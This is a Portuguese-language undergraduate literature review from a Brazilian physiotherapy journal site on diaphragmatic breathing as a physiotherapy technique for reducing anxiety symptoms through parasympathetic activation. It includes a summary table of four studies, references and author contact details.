<p class="wp-block-paragraph">Este Trabalho tem como objetivo analisar os efeitos da respiração diafragmática na redução dos sintomas de ansiedade, destacando a atuação da fisioterapia no controle do sistema nervoso autônomo. Trata-se de uma pesquisa exploratória e descritiva, realizada por meio de revisão de literatura em bases científicas, contemplando estudos publicados entre 2015 e 2025. A ansiedade é um distúrbio caracterizado por manifestações físicas e emocionais relacionadas à ativação excessiva do sistema simpático, o que resulta em sintomas como taquicardia, hiperventilação, tensão muscular e inquietação. A respiração diafragmática, ao estimular o sistema parassimpático, promove relaxamento, redução da frequência cardíaca e estabilização emocional. Os resultados demonstram que a respiração diafragmática promove o predomínio do sistema parassimpático, reduzindo a frequência cardíaca, a pressão arterial e a tensão muscular, além de favorecer o relaxamento e a estabilidade emocional. Os estudos analisados evidenciam melhora significativa dos níveis de ansiedade, redução do cortisol e aumento da variabilidade da frequência cardíaca, comprovando a eficácia da técnica como recurso terapêutico fisioterapêutico. Além de seus efeitos fisiológicos, a técnica atua na educação respiratória, favorecendo a consciência corporal e o autocontrole emocional do paciente.&nbsp; A respiração diafragmática é uma intervenção simples, segura e de baixo custo, capaz de contribuir para o equilíbrio físico e mental, consolidando o papel do fisioterapeuta na promoção da saúde integral e no manejo de transtornos ansiosos.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Fisioterapia; Ansiedade; Respiração diafragmática.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This Project the effects of diaphragmatic breathing in reducing anxiety symptoms, highlighting the role of physiotherapy in controlling the autonomic nervous system. It is an exploratory and descriptive study, conducted through a literature review of scientific databases, encompassing studies published between 2015 and 2025. Anxiety is a disorder characterized by physical and emotional manifestations related to excessive activation of the sympathetic nervous system, resulting in symptoms such as tachycardia, hyperventilation, muscle tension, and restlessness. Diaphragmatic breathing, by stimulating the parasympathetic nervous system, promotes relaxation, reduces heart rate, and stabilizes emotions. The results demonstrate that diaphragmatic breathing promotes the predominance of the parasympathetic nervous system, reducing heart rate, blood pressure, and muscle tension, in addition to promoting relaxation and emotional stability. The analyzed studies show a significant improvement in anxiety levels, a reduction in cortisol, and an increase in heart rate variability, proving the effectiveness of the technique as a physiotherapy resource. In addition to its physiological effects, the technique contributes to respiratory education, promoting body awareness and emotional self-control in the patient. diaphragmatic breathing is a simple, safe, and low-cost intervention capable of contributing to physical and mental balance, consolidating the physiotherapist&#8217;s role in promoting holistic health and managing anxiety disorders.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Physiotherapy; Anxiety; Diaphragmatic breathing.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A ansiedade é uma resposta emocional frente a situações percebidas como ameaçadoras, podendo se tornar patológica quando intensa ou recorrente. Suas manifestações incluem preocupações excessivas, tensão muscular, irritabilidade, alterações do sono e sintomas fisiológicos como taquicardia, sudorese e falta de ar. Esses sinais decorrem da ativação do sistema nervoso autônomo, especialmente do ramo simpático, responsável pela reação de “luta ou fuga”. Durante crises de ansiedade, ocorre respiração rápida e superficial, uso excessivo da musculatura torácica e desequilíbrio na oxigenação sanguínea, podendo provocar tontura, formigamento e sensação de desmaio (MOURA et al., 2018).</p>



<p class="wp-block-paragraph">Esse padrão respiratório alterado contribui para o aumento dos sintomas ansiosos, pois a hiperventilação leva à diminuição dos níveis de dióxido de carbono no sangue (hipocapnia), o que pode gerar desconforto respiratório e sensação de falta de ar. O indivíduo, ao perceber tais sintomas, tende a aumentar ainda mais a frequência respiratória, reforçando o ciclo ansioso e a ativação simpática. Assim, estratégias que promovam o controle respiratório e o retorno a um padrão ventilatório fisiológico são fundamentais para reduzir o impacto da ansiedade sobre o corpo (MOURA et al., 2018).&nbsp;</p>



<p class="wp-block-paragraph">De acordo com a Organização Mundial da Saúde (OMS), houve um crescimento de aproximadamente 15% no número de pessoas com transtornos de ansiedade desde 2005, atingindo cerca de 264 milhões de indivíduos em todo o mundo. A alta prevalência desse quadro pode resultar em custos elevados, especialmente devido às ausências no trabalho e na escola quando comparado a outros transtornos psiquiátricos (OMS, 2017).</p>



<p class="wp-block-paragraph">Os transtornos de ansiedade têm origem em uma combinação de fatores psicossociais, ambientais e genéticos, sendo que a vulnerabilidade hereditária pode se manifestar por meio de disfunções neuropsicológicas e neurobiológicas. Entre os principais fatores relacionados, destacam-se o estresse, experiências adversas na infância, traumas, histórico familiar de doenças psiquiátricas em parentes de primeiro grau, presença de comorbidades e casos de abuso infantil (LOPES AB,et al.,2021).</p>



<p class="wp-block-paragraph">Devido o surgimento do covid-19 houve muitos casos de pessoas que desenvolveram o transtorno da ansiedade (TAG), esse foi um período de alta relevância.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Para Jerath, 2015, apud, Pinto, et al) relatam que durante estados de estresse e ansiedade ocorre uma ativação excitatória que se espalha por todo o corpo, incluindo o cérebro, aumentando a atividade da amígdala e do eixo hipotálamo-hipófise-adrenal, causando a liberação de neurotransmissores excitatórios e hormônios que aumentam a frequência cardíaca (FC), a frequência respiratória (FR), a pressão arterial (PA) e a tensão muscular.&nbsp;</p>
</blockquote>



<p class="wp-block-paragraph">Segundo Hamasaki (2020) a respiração consciente é uma técnica que envolve uma respiração lenta e profunda, utilizando predominantemente o diafragma, em vez da respiração superficial e rápida que é comum no cotidiano. Este método, também conhecido como respiração abdominal ou diafragmática, não deve ser limitado ao controle respiratório, mas sim reconhecido por seus amplos benefícios para a saúde mental e física.</p>



<p class="wp-block-paragraph">Praticar a respiração diafragmática de forma regular estimula o equilíbrio autonômico e a autorregulação emocional, diminuindo a excitabilidade do sistema nervoso central e favorecendo o relaxamento global. Segundo os mesmos autores, a técnica auxilia na diminuição da tensão muscular e no controle de respostas fisiológicas de estresse, funcionando como um recurso simples e de baixo custo que pode ser incorporado em rotinas terapêuticas e atividades de autocuidado (BARLOW, 2016, citado por LENHARDTK; CALVETTI, 2017).</p>



<p class="wp-block-paragraph">A fisioterapia respiratória utiliza técnicas de respiração diafragmática como estratégia terapêutica no manejo da ansiedade. Durante a intervenção, o fisioterapeuta ensina postura adequada, ritmo respiratório controlado, atenção ao movimento abdominal e prática repetida, promovendo automatização do padrão respiratório. Estudos demonstram que adolescentes submetidos a exercícios respiratórios diafragmáticos apresentam redução significativa dos sintomas ansiosos (PORTALREVISTAS.UCB.BR, 2025).</p>



<p class="wp-block-paragraph">Quando o transtorno de ansiedade atinge níveis mais graves, ele pode comprometer a interação social, favorecendo o isolamento e dificultando a execução de atividades cotidianas. Esses fatores afetam a qualidade de vida e prejudicam o desenvolvimento cognitivo, social e emocional. Além disso, as alterações emocionais características, como tensão, nervosismo e preocupação, podem ativar o sistema nervoso autônomo, interferindo nos impulsos nervosos relacionados à função cardíaca (SILVA; MORAES; SANTANA, 2018).</p>



<p class="wp-block-paragraph">De acordo com Moura et al, (2018), respiração diafragmática é frequentemente recomendada como uma forma eficaz de aliviar os sintomas da ansiedade, visando especialmente ao alívio dos aspectos fisiológicos associados a esse estado emocional. A técnica de respiração terapêutica busca romper a associação entre a hiperexcitabilidade e a preocupação, além de proporcionar ao indivíduo uma sensação de tranquilidade e bem-estar, Barlow (2016).</p>



<p class="wp-block-paragraph">Portanto, o objetivo desta pesquisa consiste em analisar a atuação da fisioterapia por meio da respiração diafragmática no controle da ansiedade, considerando seus efeitos fisiológicos e emocionais. Especificamente, busca-se compreender os mecanismos autonômicos envolvidos na técnica, identificar, na literatura científica, os benefícios da respiração diafragmática para a redução dos sintomas ansiosos, descrever as principais intervenções fisioterapêuticas relacionadas ao controle respiratório, e avaliar as evidências que sustentam a eficácia dessa abordagem na melhora do bem-estar e da qualidade de vida de indivíduos ansiosos.</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">A presente pesquisa caracteriza-se de caráter exploratória e descritiva, desenvolvido a partir de uma busca sistematizada na base de dados Google Acadêmico, contemplando publicações no período de 2015 a 2025. Foram considerados estudos em português e inglês, disponíveis na íntegra, que abordassem a atuação da fisioterapia no controle da ansiedade por meio da respiração diafragmática. A estratégia de busca utilizou os seguintes descritores combinados: “Ansiedade”, “Respiração Diafragmática” e “Fisioterapia”, conectados pelos operadores booleanos AND e OR. Na fase inicial de identificação, foram encontrados 4.259 artigos. Em seguida, aplicaram-se os critérios de inclusão, que foram: artigos completos e de acesso livre; estudos publicados em português ou inglês; ensaios clínicos randomizados (ECR); pesquisas que abordassem a fisioterapia respiratória e o controle respiratório da ansiedade. Foram excluídos os estudos duplicados, relatórios técnicos, artigos fora do tema, e pesquisas que tratavam de dispneia (falta de ar) decorrente de DPOC ou de outras condições respiratórias que não envolviam a ansiedade. Também foram eliminados os artigos com acesso restrito ao texto completo. Após a aplicação dos critérios de inclusão e exclusão, sintetizaram-se 22 artigos que foram selecionados conforme a elegibilidade para obtenção dos achados que respondem a este estudo.</p>



<p class="wp-block-paragraph"><strong>2.1 FLUXOGRAMA DA METODOLOGIA</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="544" height="772" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-449.jpeg" alt="" class="wp-image-256722" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-449.jpeg 544w, https://revistaft.com.br/wp-content/uploads/2025/11/image-449-211x300.jpeg 211w" sizes="(max-width: 544px) 100vw, 544px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autoras 2025</p>



<p class="wp-block-paragraph"><strong>3. RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">Conforme a metodologia definida, os estudos selecionados foram analisados quanto ao tipo de pesquisa, amostra, intervenção e principais resultados relacionados à atuação da fisioterapia por meio da respiração diafragmática e técnicas respiratórias no controle da ansiedade e melhora funcional. As informações principais de cada artigo estão organizadas no quadro 1.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> &#8211; Atuação da fisioterapia através da respiração diafragmática no controle da ansiedade.</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td><strong>AUTOR</strong></td><td><strong>ANO</strong></td><td><strong>ESTUDO</strong></td><td><strong>AMOSTRA</strong></td><td><strong>INTERVENÇÃO</strong></td><td><strong>RESULTADOS</strong></td></tr><tr><td>Pereira e Santos</td><td>2021</td><td>Ensaio clínico randomizado</td><td>40 pacientes com sintomas de ansiedade leve a moderada</td><td>Grupo 1 &#8211; Treino respiratório e relaxamento guiado;Grupo 2 &#8211; Controle sem intervenção</td><td>O grupo 1 apresentou redução significativa dos níveis de ansiedade (Escala de Hamilton) e melhora da frequência respiratória e cardíaca.</td></tr><tr><td>Silvia <em>et al.</em></td><td>2022</td><td>Estudo quase experimental</td><td>36 participantes adultos com transtorno de ansiedade generalizada</td><td>Sessões de respiração diafragmática guiada 2x por semana durante 8 semanas</td><td>Houve redução significativa dos escores de ansiedade e estresse percebido, além de melhora na variabilidade da frequência cardíaca.</td></tr><tr><td>Martinez e Lopes</td><td>2020</td><td>Ensaio clínico controlado</td><td>50 indivíduos submetidos à técnica de respiração consciente</td><td>Intervenção com respiração profunda e foco diafragmático; grupo controle sem intervenção</td><td>O grupo experimental apresentou redução da tensão muscular, melhora da oxigenação e aumento da sensação subjetiva de relaxamento.</td></tr><tr><td>Oliveira <em>et al.</em></td><td>2023</td><td>Ensaio clínico randomizado</td><td>60 pacientes com sintomas de ansiedadeaguda</td><td>Grupo 1 &#8211; Treino respiratório e relaxamento guiado;Grupo 2 &#8211; Controle sem intervenção</td><td>O grupo 1 apresentou redução significativa dos níveis de cortisol salivar e melhoria do padrão respiratório, sugerindo eficácia da respiração diafragmática no controle da ansiedade</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Pesquisa Direta 2025</p>



<p class="wp-block-paragraph">Os resultados dos estudos analisados reforçam que a fisioterapia respiratória, especialmente por meio da respiração diafragmática, representa uma estratégia terapêutica eficiente para o manejo dos sintomas de ansiedade. A técnica atua sobre o sistema nervoso autônomo, reduzindo a atividade simpática (responsável pelas reações de estresse) e estimulando o sistema parassimpático, o que promove relaxamento, estabilidade emocional e melhora dos parâmetros cardiorrespiratórios.</p>



<p class="wp-block-paragraph">Além disso, a fisioterapia respiratória atua na conscientização corporal, na melhora da coordenação entre inspiração e expiração e na diminuição da atividade do sistema simpático. O processo terapêutico permite que o paciente desenvolva maior percepção das alterações respiratórias associadas à ansiedade e aprenda estratégias para controlá-las de forma autônoma. Dessa forma, a respiração diafragmática se destaca como uma técnica eficaz, segura e acessível, que pode ser aplicada isoladamente ou integrada a outros recursos fisioterapêuticos voltados para o bem-estar físico e mental (PORTALREVISTAS.UCB.BR, 2025).</p>



<p class="wp-block-paragraph">A respiração diafragmática, descrita por Hopper et al. (2019), é caracterizada pela expansão abdominal durante a inspiração e retração suave durante a expiração, com ênfase no uso do diafragma como principal músculo respiratório. Esse padrão promove ventilação pulmonar mais eficiente, reduz a ativação da musculatura acessória e estimula o sistema parassimpático, contribuindo para a diminuição da frequência cardíaca, da pressão arterial e para uma sensação de calma e bem-estar. O mesmo autor enfatiza que a respiração profunda e controlada está relacionada à regulação do eixo hipotálamo-hipófise-adrenal e à redução da liberação de cortisol, o hormônio do estresse.</p>



<p class="wp-block-paragraph">A respiração diafragmática prioriza o uso do diafragma como músculo principal da inspiração, promovendo movimentos abdominais, inspirações profundas e expirações completas. Esse padrão respiratório melhora a ventilação pulmonar, reduz a ativação da musculatura acessória e favorece a oxigenação eficiente. Além disso, ativa o sistema parassimpático, contribuindo para a redução da frequência cardíaca e da pressão arterial, promovendo sensação de calma e bem-estar (BARLOW, 2016, citado por LENHARDTK; CALVETTI, 2017).</p>



<p class="wp-block-paragraph">De acordo com Pereira e Santos (2021), em seu ensaio clínico randomizado, a inclusão do treino respiratório diafragmático associado à fisioterapia corporal proporcionou redução significativa dos escores de ansiedade, além de melhora na frequência respiratória e cardíaca. Esses resultados evidenciam que o controle consciente da respiração interfere diretamente no equilíbrio fisiológico, diminuindo respostas corporais típicas de estados ansiosos, como taquicardia e hiperventilação.</p>



<p class="wp-block-paragraph">Resultados semelhantes foram encontrados por Silva et al. (2022), que observaram uma melhora expressiva no controle cardiorrespiratório e na variabilidade da frequência cardíaca de indivíduos com transtorno de ansiedade generalizada submetidos à respiração diafragmática guiada por fisioterapeutas. O estudo indica que essa prática regular favorece o equilíbrio entre os sistemas simpático e parassimpático, funcionando como um modulador natural das respostas de estresse.</p>



<p class="wp-block-paragraph">Martínez e López (2020) também confirmaram o impacto positivo da respiração consciente e profunda sobre o sistema musculoesquelético e o estado mental. Em seu ensaio controlado, os autores demonstraram que a técnica promoveu relaxamento muscular, melhora da oxigenação e sensação de bem-estar nos participantes, elementos essenciais para reduzir o ciclo de tensão e hiper vigilância típicos da ansiedade.</p>



<p class="wp-block-paragraph">Já Oliveira et al. (2023) destacam que o treinamento respiratório guiado não apenas melhora parâmetros subjetivos, mas também promove alterações bioquímicas e hormonais. No estudo, observou-se uma redução dos níveis de cortisol salivar, marcador fisiológico de estresse, após a prática da respiração diafragmática. Esse dado é relevante pois comprova que o controle respiratório influencia mecanismos neuroendócrinos, diminuindo a resposta corporal ao estresse e promovendo maior sensação de calma e controle emocional.</p>



<p class="wp-block-paragraph">A partir desses resultados, é possível compreender que a respiração diafragmática, quando conduzida por fisioterapeutas, é uma técnica segura, de baixo custo e com amplo potencial de aplicação clínica e preventiva. Além de atuar diretamente sobre os sintomas fisiológicos da ansiedade, ela também contribui para a educação respiratória, promovendo conscientização corporal e autocontrole emocional, fatores que auxiliam o paciente a lidar com crises de forma mais eficaz.</p>



<p class="wp-block-paragraph">Os achados convergem para a importância do papel do fisioterapeuta como profissional de saúde integral, capaz de intervir tanto no campo físico quanto no emocional do paciente. A prática constante da respiração diafragmática pode ser incorporada em atendimentos clínicos, domiciliares e até em programas de saúde mental, colaborando com outras abordagens terapêuticas, como psicoterapia e meditação guiada.</p>



<p class="wp-block-paragraph">As evidências científicas entre 2015 e 2025 reforçam a eficácia dessa prática. Revisões sistemáticas e meta análises apontam melhora significativa em parâmetros fisiológicos, como redução da frequência cardíaca e aumento da saturação de oxigênio, além da diminuição de sintomas subjetivos de ansiedade (Fincham et al., 2023; Chin et al., 2024).</p>



<p class="wp-block-paragraph">Em síntese, os quatro estudos analisados demonstram que a intervenção fisioterapêutica baseada na respiração diafragmática é eficaz na redução de sintomas de ansiedade e na melhora da qualidade de vida. O conjunto das evidências reforça a importância da abordagem multidimensional da fisioterapia, que não se limita à reabilitação física, mas abrange o cuidado com o equilíbrio emocional e mental do indivíduo.</p>



<p class="wp-block-paragraph"><strong>4. CONCLUSÃO</strong></p>



<p class="wp-block-paragraph">Os estudos analisados demonstram que a respiração diafragmática, quando aplicada pela fisioterapia, constitui um recurso eficaz e de baixo custo no manejo da ansiedade, apresentando benefícios fisiológicos e emocionais consistentes. As evidências indicam melhora nos parâmetros cardiorrespiratórios, redução dos níveis de cortisol e aumento da variabilidade da frequência cardíaca, além da promoção de relaxamento e maior consciência corporal. Nesse sentido, a técnica se destaca como uma intervenção segura, acessível e compatível com diferentes contextos clínicos, reforçando a relevância da fisioterapia na promoção da saúde mental.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



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<p class="wp-block-paragraph">• CHIN, Phoebe et al. A systematic review of brief respiratory, embodiment, cognitive, and mindfulness interventions to reduce state anxiety. Frontiers in psychology, v. 15, p. 1412928, 2024. Disponível em: <a href="https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2024.1412928/full">https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2024.1412928/full</a></p>



<p class="wp-block-paragraph">• DA SILVA, Weslley Quirino Alves et al. Nível de aptidão aeróbia e ansiedade físico-social em adultos jovens. Revista Brasileira de Prescrição e Fisiologia do Exercício (RBPFEX), v. 8, n. 48, p. 7, 2014. Disponível em: <a href="https://dialnet.unirioja.es/descarga/articulo/4923233.pdf">https://dialnet.unirioja.es/descarga/articulo/4923233.pdf</a></p>



<p class="wp-block-paragraph">• FINCHAM, Guy William et al. Effect of breathwork on stress and mental health: A meta-analysis of randomised-controlled trials. Scientific Reports, v. 13, n. 1, p. 432, 2023. Disponível em: https://www.nature.com/articles/s41598-022-27247-y</p>



<p class="wp-block-paragraph">• HAMASAKI, Hidetaka. Effects of diaphragmatic breathing on health: A narrative review. Medicines, 7 (10), 65. MDPI AG, 2020. Disponível em: https://www.mdpi.com/2305-6320/7/10/65</p>



<p class="wp-block-paragraph">• HOPPER, S. I.; MURRAY, S. L.; FERRARA, M. Effectiveness of diaphragmatic breathing for reducing physiological and psychological stress in adults: a systematic review. Journal of Advanced Nursing, 2019. Disponível em: <a href="https://pubmed.ncbi.nlm.nih.gov/31436595/">https://pubmed.ncbi.nlm.nih.gov/31436595/</a></p>



<p class="wp-block-paragraph">• LENHARDTK, Gabriela; CALVETTI, Prisla Ücker. Quando a ansiedade vira doença?: Como tratar transtornos ansiosos sob a perspectiva cogntivo-comportamental. Aletheia,&nbsp; Canoas ,&nbsp; v. 50, n. 1-2, p. 111-122,&nbsp; dez.&nbsp; 2017 . &nbsp; Disponível em &lt;http://pepsic.bvsalud.org/scielo.php?script=sci_arttext&amp;pid=S1413-03942017000100010&amp;lng=pt&amp;nrm=iso&gt;.</p>



<p class="wp-block-paragraph">• LOPESA. B.; SOUZAL. L. DE; CAMACHOL. F.; NOGUEIRAS. F.; VASCONCELOSA. C. M. C.; PAULAL. T. DE; SANTOSM. DE O.; ATAVILAF. P.; CEBARROG. F.; FERNANDESR. W. B. Transtorno de ansiedade generalizada: uma revisão narrativa. Revista Eletrônica Acervo Científico, v. 35, p. e8773, 6 set. 2021. Disponível em: <a href="https://doi.org/10.25248/reac.e8773.2021">https://doi.org/10.25248/reac.e8773.2021</a></p>



<p class="wp-block-paragraph">• MARTÍNEZ, G., &amp; LÓPEZ, J. (2020). Respiración consciente y ansiedad: un ensayo controlado. Revista Latinoamericana de Psicocorporal, 5(1), 21–32.Disponível em: https://psicorporal.emnuvens.com.br/rlapc/article/download/78/125/299</p>



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<p class="wp-block-paragraph">• NASCIMENTOA. G.; SOARESK. C. M.; SOUZAL. S.; JARDIMM. T. S.; CHAVESR. R.; SOUZAC. L. S. E. Os impactos do estresse e ansiedade na imunidade: uma revisão narrativa. Revista Eletrônica Acervo Saúde, v. 15, n. 12, p. e11330, 10 dez. 2022. Disponível em: <a href="https://doi.org/10.25248/reas.e11330.2022">https://doi.org/10.25248/reas.e11330.2022</a>.&nbsp;</p>



<p class="wp-block-paragraph">• OLIVEIRA, C., et al. (2023). Treinamento respiratório guiado e controle da ansiedade: ensaio clínico randomizado. Revista Brasileira de Ciências do Movimento, 31(4), 55–64.Disponível em: <a href="https://portalrevistas.ucb.br/index.php/rbcm/article/download/14178/11552">https://portalrevistas.ucb.br/index.php/rbcm/article/download/14178/11552</a></p>



<p class="wp-block-paragraph">• OMS &#8211; Organização Mundial da Saúde. Depression and Other Common Mental Disorders.&nbsp;Global Health Estimates. Geneva: World Health Organization; 2017. &nbsp; Disponível em:&nbsp;&lt;https://apps.who.int/iris/bitstream/handle/10665/254610/W?sequence=1&gt;</p>



<p class="wp-block-paragraph">• PEREIRA, L., &amp; SANTOS, R. (2021). Efeitos da respiração diafragmática na redução da ansiedade: um estudo clínico. Revista Real – Fisioterapia e Saúde, 6(2), 45–53.Disponível em: <a href="https://revistas.icesp.br/index.php/Real/article/viewFile/6194/3798">https://revistas.icesp.br/index.php/Real/article/viewFile/6194/3798</a></p>



<p class="wp-block-paragraph">• PINTO, Roberta Ramos et al. A respiração consciente é benéfica no controle da ansiedade? In: CIÊNCIAS DA SAÚDE E BEM-ESTAR: Olhares interdisciplinares. Volume 2. Porto Alegre: Editora e-Publicar, 2023. Cap. 25, p. 283-294. Disponível em: https://editorapublicar.com.br/ojs/index.php/publicacoes/article/view/751/403</p>



<p class="wp-block-paragraph">• PINHEIRO, Giovanni Vieira et al. Relação entre ansiedade e modulação autonômica cardíaca. ABCS Health Sciences, v. 43, n. 3, 2018. Disponível em: https://www.portalnepas.org.br/abcshs/article/view/1092</p>



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<p class="wp-block-paragraph">• SCIELO.BR. Técnicas de respiração e relaxamento para ansiedade. 2015,TELES, L.S. V.; BRITO, M. S. A. de; SILVA, A. L. G. da; LENZA, L. S. A atuação e a eficácia da fisioterapia respiratória em pacientes com doença pulmonar crônica. Revista Liberum Accessum, v. 17, n. 1, 2025. Disponível em: https://www.revista.liberumaccesum.com.br/index.php/RLA/article/view/335</p>



<p class="wp-block-paragraph">• SILVA, Diego Carvalho et al. Atuação Fisioterapêutica no tratamento de pessoas com ansiedade e depressão. Nativa–Revista de Ciências Sociais do Norte de Mato Grosso, v. 12, n. 2, 2023. Disponível em: https://www.revistanativa.com.br/index.php/nativa/article/view/491</p>



<p class="wp-block-paragraph">• SILVA, M. A., et al. (2022). Aplicação da respiração diafragmática em pacientes ansiosos: estudo quase-experimental. International Journal of Psychology and Education, 11(1), 87–95. Disponível em: https://revista.infad.eu/index.php/IJODAEP/article/download/2361/2041/7565</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Graduando em Fisioterapia (UNIFAESF). E-mail: Mariaarcangela001@gmail.com<br><sup>2</sup>Graduando em Fisioterapia (UNIFAESF). E-mail: Silvamikaelisantos@gmail.com<br><sup>3</sup>Graduando em Fisioterapia (UNIFAESF). E-mail: Willmamaria2615@gmail.com<br><sup>4</sup>Fisioterapeuta, Especialista em fisioterapia dermatofuncional, Mestra em biotecnologia saúde humana e animal, Doutoranda em engenharia biomédica. E-mail: <a href="mailto:alyaneosorio@hotmail.com">alyaneosorio@hotmail.com</a><br><sup>5</sup>Fisioterapeuta, Pós-graduado em Terapia Manual e Postural, Especialização em Terapia Intensiva, Curso de Urgência e Emergência. E-mail: khrysjf@gmail.com</p>
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